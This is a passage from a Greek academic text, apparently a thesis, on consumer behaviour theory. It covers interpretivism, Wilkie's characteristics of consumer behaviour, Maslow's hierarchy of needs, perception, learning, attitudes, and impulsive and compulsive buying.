και πώλησης. Τα άτομα που εμπλέκονται σε τέτοιου είδους ανταλλαγές, όπως αυτές της πώλησης και κατανάλωσης, μπορεί να μην τις αντιμετωπίζουν επιφανειακά αλλά σαν ένα πολύ σημαντικό κοινωνικό και επαγγελματικό έργο.

Η ερμηνευτική προσέγγιση

Είναι πολύ σημαντικό να γίνει αντιληπτός ο τρόπος με τον οποίο λειτουργεί ο καταναλωτής λαμβάνοντας υπ’ όψιν και τον παράγοντα της ανθρώπινης αλληλεπίδρασης αλλά και τον τρόπο με τον οποίο αυτός επηρεάζει τις αγοραστικές αποφάσεις των ανθρώπων. Η προσέγγιση αυτή ανήκει στους λεγόμενους «ερμηνευτές» (interpretivists), οι οποίοι σε αντίθεση με τους θετικιστές (positivists), βασίζονται στις παρακάτω υποθέσεις: • Η αιτία και το αποτέλεσμα δεν μπορούν να απομονωθούν, αφού δεν υφίσταται αντικειμενική πραγματικότητα με την οποία να συμφωνούν όλοι. • Η πραγματικότητα είναι η υποκειμενική εμπειρία κάθε ατόμου, συνεπώς η εμπειρία κάθε καταναλωτή είναι μοναδική. • Οι άνθρωποι δεν είναι πάντοτε λογικοί επεξεργαστές πληροφοριών και λήπτες αποφάσεων, καθώς αυτή η άποψη δεν λαμβάνει υπόψη της την συναισθηματική πλευρά του ατόμου. Η προσέγγιση αυτή αντιμετωπίζει την πράξη της αγοράς σαν ένα μικρό μέρος των δραστηριοτήτων του καταναλωτή, η οποία όμως ερμηνεύεται με βάση τις συνολικές καταναλωτικές εμπειρίες του ατόμου και σε συνάρτηση πάντα με τις εμπειρίες που αποκομίζει από την ζωή του γενικότερα. Σύμφωνα με αυτήν την προσέγγιση μελετήσαμε την οικολογική καταναλωτική συμπεριφορά των ανθρώπων στην παρούσα εργασία, διότι πιστεύουμε πως η καταναλωτική συμπεριφορά δε μπορεί να απομονωθεί από την κουλτούρα και τις αξίες του εκάστοτε ατόμου, και καθώς είναι προσωπική εμπειρία του κάθε καταναλωτή πρέπει να εξετάζεται ολιστικά, χωρίς να απομονώνονται τα αίτια και τα αποτελέσματα της συμπεριφοράς αυτής . Τα χαρακτηριστικά της Συμπεριφοράς του Καταναλωτή Για να μελετήσουμε συνολικά τη συμπεριφορά του καταναλωτή πρέπει να λάβουμε υπ’ όψιν μας κάποια από τα βασικά χαρακτηριστικά που τον επηρεάζουν κατά τη λήψη μιας απόφασης. Πολλοί ερευνητές έχουν διατυπώσει και καταλήξει σε ορισμένα χαρακτηριστικά της συμπεριφοράς του καταναλωτή. Σύμφωνα με τον Wilkie τα βασικότερα από αυτά τα χαρακτηριστικά είναι τα εξής επτά:

Κίνητρα Η καταναλωτική συμπεριφορά είναι μια συμπεριφορά που παρακινείται για την εκπλήρωση συγκεκριμένων στόχων, αναγκών και επιθυμιών. Στις περισσότερες περιπτώσεις της καταναλωτικής μας συμπεριφοράς αγοράζουμε και καταναλώνουμε αγαθά, ως μέσα για την ικανοποίηση κάποιων αναγκών µας, υλικών αλλά και συναισθηματικών. Τα κίνητρα όμως των καταναλωτών δεν είναι πάντα προφανή σε τρίτους με αποτέλεσμα να είναι αναγκαίες κάποιες θεωρίες για την καλύτερη κατανόηση της συμπεριφοράς τους. Ένα μέρος της συμπεριφοράς του καταναλωτή προέρχεται από καθαρά λειτουργικά κίνητρα (functional

motives), όπως για παράδειγμα όταν κάποιος αγοράζει μπογιά για να βάψει το σπίτι του, ενώ ένα άλλο μέρος της συμπεριφοράς του υποκινείται από κίνητρα που εκφράζουν το άτομό του σαν μια ξεχωριστή οντότητα (selfexpressive motives) όπως όταν κάποιος αγοράζει ένα δώρο για να ευχαριστήσει ένα µέλος της οικογένειάς του. Οι Blackwell, Miniard & Engel, (2001), σε αντίθεση µε την παραπάνω θέση υποστηρίζουν ότι οι ανάγκες των καταναλωτών δε θα έπρεπε να χωρίζονται σε δύο μεγάλες κατηγορίες, αλλά σε υποκατηγορίες οι οποίες να περιλαμβάνουν και να διευκρινίζουν καλύτερα τις διαφορετικές περιπτώσεις ανάγκης και επιθυμίας του καταναλωτή. Μερικές από αυτές είναι, οι φυσικές ανάγκες, η ανάγκη υγείας και ασφάλειας, αγάπης και συντροφικότητας, η ανάγκη οικονομικών πόρων, η ανάγκη της ευχαρίστησης, η ανάγκη της δημιουργίας της κοινωνικής εικόνας του ατόμου, η ανάγκη της κατοχής και τέλος η ανάγκη της πληροφορίας. Συνήθως κατά την εκτέλεση μιας καταναλωτικής συμπεριφοράς εκπληρώνουμε πάνω από έναν στόχους ή ανάγκες, με αποτέλεσμα να μην αναφερόμαστε σε ένα μόνο κίνητρο, αλλά σε ομάδα κινήτρων. Επίσης, ενώ κάποια κίνητρα μπορούν να είναι εμφανή στους καταναλωτές και σε τρίτους κάποια άλλα μπορεί να είναι πιο δύσκολο να προσδιοριστούν, όπως για παράδειγμα όταν οι αποφάσεις που πρέπει να ληφθούν είναι περισσότερο πολύπλοκες και συνδέονται στενά με συναισθήματα του ίδιου του καταναλωτή.

Δραστηριότητες Για να μελετήσουμε σωστά τη συμπεριφορά του καταναλωτή η πράξη της κατανάλωσης δεν πρέπει να εξεταστεί μονόπλευρα. Θα πρέπει να ληφθούν υπ’ όψιν οι σκέψεις, τα αισθήματα, τα σχέδια, οι αποφάσεις, οι αγορές και οι εμπειρίες που συσσωρεύονται από την πράξη της κατανάλωσης. Σημαντικές δραστηριότητες που ανήκουν στην πράξη της κατανάλωσης μπορεί να είναι οι διαφημίσεις, οι απόψεις τρίτων, η συλλογή πληροφοριών, η αξιολόγηση εναλλακτικών, κ.α. Οι δραστηριότητες αυτές μπορούν να διαφοροποιηθούν σε προμελετημένες και συμπτωματικές. Για παράδειγμα, η δραστηριότητα της απόφασης της αγοράς ενός προϊόντος μπορεί να χαρακτηριστεί τις περισσότερες φορές ως προμελετημένη καταναλωτική συμπεριφορά. Από την άλλη μεριά, όταν ένας καταναλωτής επισκέπτεται ένα πολυκατάστημα για να ψωνίσει κάποια συγκεκριμένα προϊόντα που έχει υπ’ όψιν του, θα αντικρίσει και μια πληθώρα άλλων αγαθών και δεν θα είναι λίγες οι φορές που μπορεί να αγοράσει κάποια από αυτά χωρίς να το έχει προγραμματίσει. Αυτού του είδους η καταναλωτική συμπεριφορά μπορεί να χαρακτηριστεί ως συμπτωματική ή ως αυθόρμητη (impulsive). Η διαφοροποίηση αυτή είναι ιδιαίτερα χρήσιμη σε ερευνητές

της συμπεριφοράς του καταναλωτή αλλά και σε διαφημιστές, οι οποίοι με αυτό τον τρόπο κατανοούν τους μηχανισμούς της συμπεριφοράς περισσότερο σφαιρικά (Wilkie, 1994).

Διαδικασία Στην έννοια της διαδικασίας περιλαμβάνονται διάφορα στάδια δραστηριότητας για την καλύτερη κατανόηση της συμπεριφοράς του καταναλωτή. Το πρώτο στάδιο είναι των δραστηριοτήτων της προ-αγοράς που θα μπορούσε να περιλαμβάνει τις ενέργειες για την επιλογή του προϊόντος, το οποίο ακολουθείται από το δεύτερο στάδιο, των δραστηριοτήτων της αγοράς, αγορά του προϊόντος, και τέλος το τρίτο στάδιο των δραστηριοτήτων της μετάαγοράς, που περιλαμβάνει ενέργειες όπως είναι η απαξίωση του προϊόντος. Η αντιμετώπιση της συμπεριφοράς του καταναλωτή ως μια διαδικασία τονίζει την σημαντικότητα των σταδίων που προηγούνται και ακολουθούν αυτό της αγοράς.

Διαφοροποίηση Η καταναλωτική συμπεριφορά του ατόμου διαφοροποιείται με βάση δύο στοιχεία, το χρόνο και την πολυπλοκότητα της λήψης της απόφασης. Ο χρόνος αναφέρεται στο πότε λαμβάνεται η απόφαση και στη διάρκεια της ολοκλήρωσης της διαδικασίας. Η πολυπλοκότητα αναφέρεται, με τη σειρά της, στον αριθμό των δραστηριοτήτων που εμπλέκονται στη λήψη μιας απόφασης αλλά και στη δυσκολία αυτής της απόφασης. Συσχετίζοντας αυτές τις δύο έννοιες καταλαβαίνουμε πως όσο περισσότερο πολύπλοκη είναι μια απόφαση, τόσος περισσότερος χρόνος απαιτείται για την λήψη της. Άρα όσο περισσότερο πολύπλοκη είναι μια απόφαση τόσο περισσότερες θα είναι και οι δραστηριότητες της προ-αγοράς που θα απασχολήσουν έναν καταναλωτή. Πολλές φορές όμως, για να αποφύγει ο καταναλωτής μια ενδεχόμενη χρονοτριβή, η οποία πιθανώς να οδηγήσει σε μια όχι και τόσο συμφέρουσα αγορά λειτουργεί λιγότερο αναλυτικά απ’ ότι θα μπορούσε. Με άλλα λόγια, προσπαθεί να απλοποιήσει τη διαδικασία της λήψης αποφάσεων με τους παρακάτω τρόπους 1. Ο καταναλωτής δεν ψάχνει πάντα τη βέλτιστη αγορά αλλά μια ικανοποιητική αγορά. 2. Οδηγείται από πληροφορίες, συμβουλές και συστάσεις τρίτων. 3. Εμπιστεύεται μάρκες και καταστήματα που έχει αγοράσει στο παρελθόν και έχει μείνει ικανοποιημένος. Σε κάποιες περιπτώσεις η διαδικασία ικανοποίησης μιας ανάγκης έρχεται αντιμέτωπη με την απλοποίηση της διαδικασίας λήψης μιας απόφασης. Για παράδειγμα, κατά την αγορά ενός σχετικά φτηνού προϊόντος το οποίο όμως να διαθέτει και κάποιες προδιαγραφές.

Ρόλοι Ένας καταναλωτής κατά τη διαδικασία λήψης μιας απόφασης αλλά και μετά από αυτή μπορεί να έχει περισσότερους από έναν ρόλους, όπως του ατόμου που επηρεάζει την τελική απόφαση, του αγοραστή ή του χρήστη. Τους διαφορετικούς αυτούς ρόλους μπορεί να τους εξασκεί ταυτόχρονα, όπως όταν ψωνίζει μόνος ή όταν ψωνίζει μόνο για τον εαυτό του. Οι αγοραστικοί ρόλοι του καταναλωτή είναι οι εξής: 1. Ο συλλέκτης χρήσιμων πληροφοριών που αφορούν στην απόφαση. Επίσης ελέγχει και τη ροή αυτών των πληροφοριών (information gatherer). 2. Αυτός που επηρεάζει, που εκφράζοντας δηλαδή τις απόψεις του επηρεάζει τις εναλλακτικές που αξιολογούνται καθώς και την τελική απόφαση (influencer). 3. Αυτός που αποφασίζει, που παίρνει δηλαδή την τελική απόφαση (decider). 4. Ο αγοραστής, αυτός που πραγματοποιεί την αγορά (buyer). 5. Τέλος, ο χρήστης αυτός δηλαδή που χρησιμοποιεί το προϊόν (user).

Οι πιθανοί συνδυασμοί αυτών των τριών ρόλων μπορούν να είναι πάρα πολλοί ανάλογα πάντα με τον καταναλωτή, το εξωτερικό του περιβάλλον αλλά και την ψυχοσύνθεσή του. Επίσης οι ρόλοι αυτοί αλλάζουν κατά τη διάρκεια της ζωής του καταναλωτή. Για παράδειγμα ένα παιδί σπάνια μπορεί να είναι αυτό που επηρεάζει την απόφαση και ακόμα πιο σπάνια αγοραστής. Οι αγορές ενός νέου συνήθως αφορούν τον εαυτό του, ενώ στην περίπτωση ενός καταναλωτή με παιδιά, ένα μεγάλο μέρος των αγορών του γίνονται για την οικογένειά του και σίγουρα επηρεάζεται από τις ανάγκες των υπολοίπων μελών της οικογένειας. Εξωγενείς παράγοντες Κατά κύριο λόγο ο καταναλωτής, επηρεάζεται από το περιβάλλον του γεγονός που επισημαίνει την ικανότητά του να προσαρμόζεται σε διάφορες περιστάσεις, ανάλογα πάντα με τις ανάγκες που επιθυμεί να ικανοποιήσει. Ο εξωγενής αυτός επηρεασμός έχει σημαντικό αντίκτυπο και στη διαδικασία λήψης καταναλωτικών αποφάσεων. Οι σημαντικότεροι εξωγενείς παράγοντες που επηρεάζουν τη συμπεριφορά του καταναλωτή είναι οι εξής: 1. Κουλτούρα.Αναφέρεται στα πιστεύω, τις αξίες και τις απόψεις που μοιραζόμαστε με τα μέλη της κοινωνίας στην οποία ζούμε. Επηρεάζει τη συμπεριφορά ενός ατόμου κατά τη διάρκεια της ζωής του τοποθετώντας όρια στην αντίληψη του σχετικά με το ποιες συμπεριφορές είναι αποδεκτές και ποιες όχι. 2. Υποκουλτούρα.Ομάδες ανθρώπων οι οποίες εντάσσονται στο γενικότερο πλαίσιο της κουλτούρας και μοιράζονται όμοιες αξίες και συμπεριφορές. Παραδείγματα υποκουλτούρων είναι αυτές του φύλου, της θρησκείας, της εθνικότητας, κτλ.

3. Κοινωνική τάξη.Το επάγγελμα κάποιου ανθρώπου, το εισόδημα του και το επίπεδο εκπαίδευσης που κατέχει επηρεάζει τη συμπεριφορά του ως καταναλωτή. 4. Οικογένεια.Η οικογένεια είναι ο πιο σημαντικός οργανισμός καταναλωτικών αγορών και τα μέλη της οικογένειας αποτελούν την ομάδα αναφοράς με τη μεγαλύτερη επιρροή. Οι άνθρωποι επηρεάζονται ως παιδιά από τις καταναλωτικές συνήθειες της οικογένειας τους, τις οποίες ακολουθούν αργότερα ως ενήλικες. 5. Κοινωνικός περίγυρος και ομάδες αναφοράς. Επηρεαζόμαστε από τον κοινωνικό μας περίγυρο σχεδόν καθημερινά από τις συζητήσεις που κάνουμε με φίλους και γνωστούς. Για παράδειγμα ένας άνθρωπος είναι πιο πιθανό να ακολουθήσει έναν πιο υγιεινό τρόπο ζωής εάν συναναστρέφεται με ανθρώπους που ακολουθούνε υγιεινή διατροφή και άσκηση. 6. Εξωγενείς καταστάσεις.Ως εξωγενείς καταστάσεις μπορούμε να θεωρήσουμε την ανεργία ή την οικονομία, παράγοντες που μας καθορίζουν το ποσό που μπορούμε να ξοδέψουμε για την αγορά ενός προϊόντος. 7. Περιβάλλον μάρκετινγκ. Το μάρκετινγκ επηρεάζει όλους τους καταναλωτές. Το περιβάλλον του μάρκετινγκ σε συνδυασμό με την παρουσία των Μέσων Μαζικής Ενημέρωσης, είναι ένας χώρος που τις τελευταίες δεκαετίες έχει αποκτήσει τεράστια δύναμη επιρροής στο σημερινό καταναλωτή. Η διαφήμιση έχει ως σκοπό να επηρεάσει τον καταναλωτή ως προς ένα συγκεκριμένο προϊόν κάθε φορά.

Διαφοροποίηση βάσει της διαφορετικής προσωπικότητας του ατόμου Κάθε άνθρωπος είναι μοναδικός, με αποτέλεσμα να έχει και μοναδικές ανάγκες. Οι αποφάσεις του κάθε αγοραστή επηρεάζονται από κάποια προσωπικά χαρακτηριστικά όπως η ηλικία του, το επάγγελμα του, ο τρόπος ζωής του, κ.α. Το γεγονός αυτό όμως έχει αντίκτυπο στις καταναλωτικές συνήθειες όλων μας και καθιστά δύσκολο το έργο των διαφημιστών στο να προσδιορίσουν ποιοι καταναλωτές θα καταναλώνουν ποια προϊόντα. Δημιουργήθηκαν έτσι οι «ομάδες» καταναλωτών με σκοπό να γίνει πιο κατανοητός ο λόγος για τον οποίο οι άνθρωποι υιοθετούν διαφορετικές συμπεριφορές.

«Ψυχολογία» και Συμπεριφορά του Καταναλωτή Ένα από τα βασικά χαρακτηριστικά της συμπεριφοράς του καταναλωτή είναι και η «ψυχολογία» του. Η επιλογή για την αγορά ενός προϊόντος επηρεάζεται από τέσσερις ψυχολογικούς παράγοντες: Τα κίνητρα (motivation), την αντίληψη (perception), τη μάθηση (learning) και τις πεποιθήσεις και στάσεις Κίνητρα

Για να υπάρχει κίνητρο θα πρέπει να υπάρχει και μια ανάγκη και συνεπώς μια επιθυμία για την εκπλήρωση αυτής της ανάγκης. Ο μηχανισμός όμως με τον οποίο λειτουργεί ο καταναλωτής για την ικανοποίηση αυτής της επιθυμίας δεν είναι τόσο ξεκάθαρος σε τρίτους, ειδικά όταν δεν αναφερόμαστε σε βιολογικές ανάγκες ή σε λειτουργικά κίνητρα. Η συμπεριφορά του καταναλωτή αποτελείται από μια πληθώρα κινήτρων. Κάποια από αυτά είναι φανερά, ενώ άλλα μπορεί να είναι κρυμμένα στο υποσυνείδητο των καταναλωτών, έτσι που ούτε οι ίδιοι οι καταναλωτές να μην αντιλαμβάνονται ποια είναι τα κίνητρα αυτά. Γενικά οι καταναλωτές προσπαθούν να ικανοποιήσουν τις ανάγκες τους, οι οποίες βασίζονται στην επιθυμία μείωσης των εντάσεων που γεννιούνται από ανεκπλήρωτα «θέλω»

Η ιεράρχηση αναγκών κατά Maslow Ένα από τα πιο διαδεδομένα μοντέλα κινήτρων είναι αυτό του Maslow, μέσω του οποίου προσπάθησε να προσδιορίσει τι παρακινεί την ανθρώπινη συμπεριφορά. Για την προσέγγιση αυτή βασικό είναι να ισχύουν κάποιες προϋποθέσεις. Πρώτον, πολύ σημαντικό για τον προσδιορισμό των αναγκών που θα έχει το άτομο σε μια συγκεκριμένη στιγμή είναι το περιβάλλον του. Δεύτερον, όταν το άτομο ικανοποιήσει μια ανάγκη του τότε αυτή δεν είναι πλέον ενεργή. Τέλος, λόγω της ταξινόμησης που υπάρχει, ένα άτομο δεν μπορεί να νιώσει μια ανάγκη δεύτερου επιπέδου έως ότου ικανοποιήσει αυτές του πρώτου επιπέδου (Εξαδάκτυλος, 1996). Σύμφωνα με τον Maslow παράγοντες υποκίνησης είναι μόνο οι ανάγκες που δεν έχουν πραγματοποιηθεί και έτσι ταξινόμησε τις ανάγκες του ανθρώπου σε πέντε κατηγορίες: 1. Φυσιολογικές Ανάγκες, οι οποίες περιλαμβάνουν τις ανάγκες του ανθρώπου ως βιολογικού οργανισμού, όπως αυτές του οξυγόνου, του νερού, της τροφής, κ.α. Εάν δεν ικανοποιηθούν αυτές οι ανάγκες τότε δεν μπορούν να υπάρξουν και οι υπόλοιπες στη λίστα.

•

Ανάγκες Ασφάλειας, οι οποίες είναι η ανάγκη του ανθρώπου να αισθάνεται ασφαλής και σίγουρος για τη μελλοντική ικανοποίηση των φυσιολογικών αναγκών του.

•

Κοινωνικές Ανάγκες, στις οποίες περιλαμβάνονται οι ανάγκες που έχει ένας άνθρωπος για στοργή, φιλία και συντροφικότητα.

•

Ανάγκες Εκτίμησης, είναι οι ανάγκες που αφορούν την αναγνώριση του ανθρώπου, την αυτοεκτίμηση και τον αυτοσεβασμό του. Σε αυτή την κατηγορία ο καταναλωτής συχνά αποκτά αγαθά τα οποία θεωρεί ότι μπορεί να αυξάνουν το κύρος του.

•

Ανάγκες Ολοκλήρωσης, οι οποίες είναι ανάγκες που οδηγούν στην ανάπτυξη, την επιτυχία και την εξέλιξη και αφορούν την εκπλήρωση των επιθυμιών και των

ονείρων του ανθρώπου. Οι πέντε αυτές κατηγορίες φαίνονται στην παρακάτω εικόνα (Εικόνα 4), με τις Φυσιολογικές Ανάγκες οι οποίες είναι οι πιο σημαντικές να βρίσκονται στη βάση της πυραμίδας.

Αντίληψη Συνήθως ένα άτομο που έχει κίνητρο είναι έτοιμο για δράση. Υπάρχει όμως και η περίπτωση δύο άτομα με το ίδιο κίνητρο να αντιδρούν τελείως διαφορετικά, επειδή αντιλαμβάνονται την κατάσταση από άλλη οπτική γωνία. Η αντίληψη ορίζεται ως η ψυχολογική επεξεργασία της πληροφορίας και πως αυτή λαμβάνεται από τις αισθήσεις του κάθε ατόμου. Από τη στιγμή που οι δραστηριότητες αγοράς και κατανάλωσης περιλαμβάνουν αλληλεπιδράσεις με τον εξωτερικό κόσμο, το θέμα της αντίληψης είναι βασικό για την κατανόηση της συμπεριφοράς του καταναλωτή . Υπάρχουν τρεις αντιληπτικές διαδικασίες σύμφωνα με τον Εξαδάκτυλο και είναι οι εξής: που είναι σχετικά με μια τωρινή ανάγκη αλλά και ερεθίσματα τα οποία προσδοκούν. Επιλεκτική παραμόρφωση (Selective Distortion): Η επιλεκτική παραμόρφωση. περιγράφει την τάση των ανθρώπων να διαστρεβλώνουν τις πληροφορίες ανάλογα με τις προσωπικά διαμορφωμένες γνώμες τους.

Επιλεκτική διατήρηση (Selective Retention): Σε πολλές περιπτώσεις, δίνουμε έμφαση σε κάποια χαρακτηριστικά ενός προσώπου ή ενός αντικειμένου, ενώ σε άλλα μπορεί να δώσουμε μικρότερη βαρύτητα. Οι άνθρωποι έχουν την τάση να κρατούν πληροφορίες που υποστηρίζουν αυτά που πιστεύουν και επιθυμούν. Μάθηση Μπορούμε να πούμε ότι οι άνθρωποι μαθαίνουν όταν ενεργούν. Η έννοια της μάθησης είναι αρκετά πολύπλοκη και πολύ δύσκολο να οριστεί. Ένας αρκετά γενικός ορισμός είναι αυτός που δίνουν οι Mullen & Johnson (1990) σύμφωνα με τον οποίο η μάθηση ορίζεται σαν μια σχετικά μόνιμη αλλαγή στην συμπεριφορά, ως αποτέλεσμα εξάσκησης ή εμπειρίας. Η μάθηση παράγεται μέσω της αλληλεπίδρασης των κινήτρων, των ερεθισμάτων, των υπαινιγμών, των αντιδράσεων και της ενίσχυσης. Το κίνητρο, όπως έχουμε ήδη αναφέρει, είναι ένα ισχυρό εσωτερικό ερέθισμα που επιβάλλει κάποια ενέργεια. Το ερέθισμα γίνεται κίνητρο όταν κατευθύνεται προς ένα συγκεκριμένο αντικείμενο ερεθισμού, το οποίο μειώνει το κίνητρο. Όταν έχουμε ίδια ερεθίσματα είναι λογικό να έχουμε και ίδιες αντιδράσεις και τότε δημιουργείται μια συμπεριφορά ρουτίνας. Όταν το άτομο δέχεται νέα ερεθίσματα χρησιμοποιεί υπάρχουσες αντιδράσεις, τις οποίες είχε μάθει στο παρελθόν. Η πιθανότητα ένα άτομο να συμπεριφερθεί με συγκεκριμένο τρόπο εξαρτάται από τις συνέπειες που περιμένει το άτομο από τη συμπεριφορά του. Γίνεται εμφανές δηλαδή ότι η μάθηση στηρίζεται στις συνέπειες, οι οποίες μπορεί να είναι επιβράβευση, τιμωρία ή αδιαφορία. Στην έννοια της μάθησης έχουν επικρατήσει δύο προσεγγίσεις, η πρώτη είναι η συμπεριφοριστική προσέγγιση, η οποία προέρχεται από μια γενική θεωρία της ψυχολογίας του συμπεριφορισμού και η δεύτερη είναι η γνωστική προσέγγιση.

Πεποιθήσεις και στάσεις Μέσα από τη δράση, τη μάθηση και τη γνώση οι άνθρωποι αποκτούν πεποιθήσεις και στάσεις, οι οποίες επηρεάζουν την αγοραστική τους συμπεριφορά. Οι πεποιθήσεις δημιουργούν εικόνες αγαθών και μάρκας, πάνω στις οποίες ενεργούν οι άνθρωποι. Οι στάσεις, οι οποίες είναι εξίσου σημαντικές με τις πεποιθήσεις, είναι οι διαρκείς ευνοϊκές ή δυσμενείς αξιολογήσεις, συναισθήματα και τάσεις ενέργειας προς κάποιο αντικείμενο ή ιδέα. Οι άνθρωποι έχουν κάποια στάση σχεδόν για τα πάντα. Οι πεποιθήσεις και οι στάσεις των καταναλωτών παρακολουθούνται στενά από ανθρώπους του μάρκετινγκ ώστε να μπορέσουν να τους επηρεάσουν όσο το δυνατόν περισσότερο.

Η πεποίθηση είναι μια περιγραφική σκέψη που κατέχει ένα άτομο για κάτι (Wilkie, 1994). Οι βιομηχανίες ενδιαφέρονται ιδιαιτέρως για τις πεποιθήσεις που έχουν οι άνθρωποι στο μυαλό τους για προϊόντα και υπηρεσίες, αφού οι πεποιθήσεις αυτές μπορούν να κατευθύνουν την τελική εικόνα και σύνθεση του προϊόντος. Ως στάση ορίζονται οι αποκτηθείσες με μάθηση προδιαθέσεις που αποκρίνονται σε ένα αντικείμενο ή σε μια κατηγορία προϊόντων με ευνοϊκό ή μη ευνοϊκό τρόπο (Wilkie, 1994). Η στάση ενός καταναλωτή συνδέεται άμεσα με τη γνώση του για το προσφερόμενο αγαθό αλλά και με την κατανόηση και την ενημέρωση του γι’ αυτό.

Παρορμητική και εξαναγκαστική κατανάλωση Οι έννοιες της παρορμητικής καθώς και της εξαναγκαστικής αγοράς είναι αρκετά σημαντικές για τη θεωρητική προσέγγιση στη συμπεριφορά του καταναλωτή. Η άποψη των παραδοσιακών μοντέλων καταναλωτικής συμπεριφοράς τα οποία αναφέρονται σε έναν «λογικό» και σκεπτόμενο καταναλωτή ο οποίος συλλέγει πληροφορίες και αγοράζει αγαθά σύμφωνα με αξιολογήσεις κόστους και οφέλους, ακριβώς όπως βλέπουμε να γίνεται στην ορθολογική λήψη αποφάσεων όπου ο λήπτης αποφάσεων συνεχώς ανιχνεύει το περιβάλλον του για αναγνώριση ευκαιριών και προβλημάτων, ταξινομεί και ερμηνεύει τις πληροφορίες που συλλέγει, κατανοεί ποιος έχει το πρόβλημα λήψης απόφασης και εκτιμά τα οφέλη από μια ενδεχόμενη ανάληψη πρωτοβουλίας αντιμετώπισης της κατάστασης, έχει αντικρουστεί. Στις μέρες μας έχει επικρατήσει η γενικότερη άποψη, με τα καταναλωτικά προϊόντα να είναι ένας τρόπος απόκτησης και έκφρασης μιας ταυτότητας, ελέγχου συναισθημάτων ή κοινωνικής καταξίωσης. Όλα τα προϊόντα που μπορεί να αγοράσει ένας καταναλωτής μπορούν να ταξινομηθούν σε προγραμματισμένες αγορές, μη-προγραμματισμένες αγορές και παρορμητικές αγορές. Οι προγραμματισμένες αγορές είναι εκείνες που ο καταναλωτής σχεδίαζε να κάνει πριν μπει στο κατάστημα, ενώ οι μη-προγραμματισμένες αγορές είναι αυτές που δεν είχε σχεδιάσει να κάνει πριν μπει στο κατάστημα. Σύμφωνα με τον Stern μπορούμε να κατηγοριοποιήσουμε τις μη-προγραμματισμένες αγορές σε τρεις κατηγορίες: 1. Στις αποκαταστάσιμες μη-προγραμματισμένες αγορές. Αναφέρονται στα προϊόντα που ο αγοραστής δεν είχε σκεφτεί να αγοράσει, αλλά χρησιμοποιεί συχνά. 2. Στις αποτιμημένες νέες μη-προγραμματισμένες αγορές. Αφορούν αγαθά τα οποία είτε δεν χρησιμοποιεί ακόμη ο καταναλωτής, είτε χρησιμοποιεί αλλά δε χρειάζονται ακόμη αντικατάσταση. Τέλος στις παρορμητικές αγορές, οι οποίες αφορούν προϊόντα που αγοράζονται αυθόρμητα και καθόλου προσχεδιασμένα.

Η μη-προγραμματισμένη αγορά, είναι η αγορά η οποία παρατηρείται κυρίως όταν ο καταναλωτής δεν είναι εξοικειωμένος με το περιβάλλον του καταστήματος, βρίσκεται κάτω από πίεση χρόνου ή σε περιπτώσεις που θυμάται να αγοράσει ένα προϊόν όταν το δει στα ράφια του καταστήματος. Η αγορά από παρόρμηση συμβαίνει όταν ο καταναλωτής νιώσει μια ξαφνική ακατανίκητη ορμή για την αγορά κάποιου προϊόντος. Τέλος, η καταναγκαστική αγορά αναφέρεται στα επαναλαμβανόμενα ψώνια του καταναλωτή, τα οποία πολλές φορές χαρακτηρίζονται από υπερβολικές τάσεις, εξαιτίας πλήξης, έντασης ή άγχους.

Παρορμητική κατανάλωση Η παρορμητική αγορά ορίζεται ως «η αγορά εκείνη που είναι μη-προγραμματισμένη και προέρχεται από μια απροσδόκητη ορμή για αγορές» και ξεχωρίζει από τη σχετική ταχύτητα με την οποία λαμβάνονται οι αγοραστικές αποφάσεις. Τα χαρακτηριστικά της παρορμητικής αγοράς είναι τα εξής:

•

Μια αυθόρμητη και ξαφνική επιθυμία δράσης.

•

Μια ψυχολογική κατάσταση στην οποία ο καταναλωτής μπορεί να νιώσει εκτός ελέγχου.

•

Μια εσωτερική διαμάχη η οποία μετριάζεται με άμεση δράση.

•

Κυριαρχεί το συναίσθημα και όχι η λογική.

•

Τέλος, ο καταναλωτής παραβλέπει τις όποιες συνέπειες αυτής του της πράξης.

Πολλοί

ερευνητές

συμφωνούν

ότι

η

παρορμητική

αγορά

περικλείει

και

μια

συναισθηματική συνισταμένη (affective component). Η παρορμητική αγορά σχετίζεται με επιθυμίες ικανοποίησης κοινωνικών αναγκών, όπως είναι ο εντυπωσιασμός άλλων, να νιώσει ξανά νέος, κτλ, στην προσπάθεια του καταναλωτή να δημιουργήσει μια κοινωνική ταυτότητα. Σε αυτή την περίπτωση οι αγορές είναι δευτερεύουσας σημασίας, σε σχέση με την ανάγκη της κοινωνικής συμμετοχής και αποδοχής από τον κοινωνικό περίγυρο του ατόμου . Σύμφωνα με την Hausman (2000) η παρορμητική αγορά ενός καταναλωτή μπορεί να σχετίζεται και με την ικανοποίηση αναγκών που έχουν να κάνουν με την υπόληψη, αλλά και την αυτοπραγμάτωση του ατόμου. Στην έρευνα της υπήρχαν περιπτώσεις καταναλωτών οι οποίοι έκαναν αγορές αγαθών από παρόρμηση για ικανοποίηση αναγκών αυτοπραγμάτωσης και περιπτώσεις καταναλωτών οι οποίοι ήθελαν να αποζημιώσουν τον εαυτό τους για θυσίες που μπορεί να έκαναν με σκοπό να πραγματοποιήσουν έναν στόχο τους. Στην παρορμητική αγορά οι καταναλωτές αντιμετωπίζουν τα ίδια τα προϊόντα ως τα κύρια συστατικά που καθορίζουν την εικόνα του εαυτού τους, σε συνάρτηση πάντα με το κοινωνικό

περιβάλλον μέσα στο οποίο δραστηριοποιούνται. Μπορούμε επίσης να διακρίνουμε προϊόντα «υψηλής παρόρμησης» και προϊόντα «χαμηλής παρόρμησης», τα οποία διαφέρουν στους λόγους για τους οποίους αγοράζονται. Για τα προϊόντα «χαμηλής παρόρμησης» είναι πιο σημαντικά τα λειτουργικά κίνητρα διότι τους καταναλωτές τους απασχολεί περισσότερο εάν η αγορά που θα κάνουν αξίζει χρηματικά και εάν είναι χρήσιμη. Ενώ, στα προϊόντα «υψηλής παρόρμησης» επικρατούν κυρίως ψυχολογικοί παράγοντες όπως είναι η διάθεση, η οποία παίζει πολύ σημαντικό ρόλο στις παρορμητικές αγορές των καταναλωτών, οι οποίοι όταν βρίσκονται σε άσχημη διάθεση προβαίνουν σε παρορμητικές αγορές .

